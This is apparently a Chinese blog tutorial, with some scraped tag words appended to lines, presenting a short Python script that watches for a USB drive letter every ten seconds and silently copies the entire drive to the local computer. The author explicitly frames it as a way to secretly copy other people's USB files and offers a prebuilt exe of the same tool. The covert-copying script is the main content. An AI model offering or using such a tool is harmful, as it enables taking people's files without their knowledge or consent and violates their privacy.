今天給你們介紹一個能夠偷偷拷貝別人 U 盤裏文件的 python 程序,沒錯,程序自動監測 U 盤插入並讀取 U 盤內文件,拷貝到本地電腦。python
說一說程序的實現思路,因爲 U 盤插入電腦後,電腦上會出現一個新的盤符,好比你電腦以前一共有 C、D、E、F 共 4 個盤符,如今插上一個 U 盤後,電腦上會新增一個 G 盤。spa
這個 python 程序就是每隔一段時間就去檢查 G 盤這個目錄是否存在,若是存在即表示有 U 盤插入電腦了。緊接着就能夠讀取 G 盤目錄下的文件了,同時把 G 盤目錄下的文件複製到電腦上其餘指定目錄下,這樣就悄悄的完成了 U 盤文件拷貝。code
可是這裏會有一個問題,須要避免重複拷貝。這裏咱們能夠簡單作一個粗略判斷便可,判斷若是 G 盤的某個目錄已經存在於某個指定目錄中,就說明已經完成了拷貝,無需重複拷貝了。cdn
下面就直接看具體的代碼吧。blog
# -*- coding:utf-8 -*-
import os
import time
from datetime import datetime
import shutil
# U盤的盤符
# 根據你本身電腦的具體盤符
uDiskPath = input("請輸入你電腦的U盤盤符:")
uDiskPath += ":/"
# 要複製到的路徑
# 爲了方便起見,程序默認將文件拷貝到程序所在目錄
saveToPath = "./"
#開啓一個死循環,每10秒檢測一次,直到檢測有U盤插入。
while (True):
if os.path.exists(uDiskPath):
shutil.copytree(uDiskPath, os.path.join(saveToPath, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
break
else:
time.sleep(10)
複製代碼
建議你們把代碼拷貝過去,在本身電腦上運行一遍,注意安裝對應的三方庫。若是你暫時還不熟悉 python,或者 python 環境還沒搭建好,那你也能夠直接下載 exe 可執行程序先體驗一把。utf-8
或者也能夠先參考這篇文章,python入門—如何運行python程序。input
我已將該 python 代碼打包成一個 exe 可執行程序,你們在後臺回覆關鍵字【自動拷貝】便可獲取,下載可執行程序後雙擊執行,而後輸入你電腦上 U 盤盤符便可。string
若是你不清楚你電腦 U 盤盤符是什麼,你找個 U 盤插上電腦就能夠看到盤符了,通常爲 G 、H、J 之類的。it
好了,若是以爲文章對你有一點點幫助或啓發,不妨點個贊吧,有問題也歡迎留言交流。io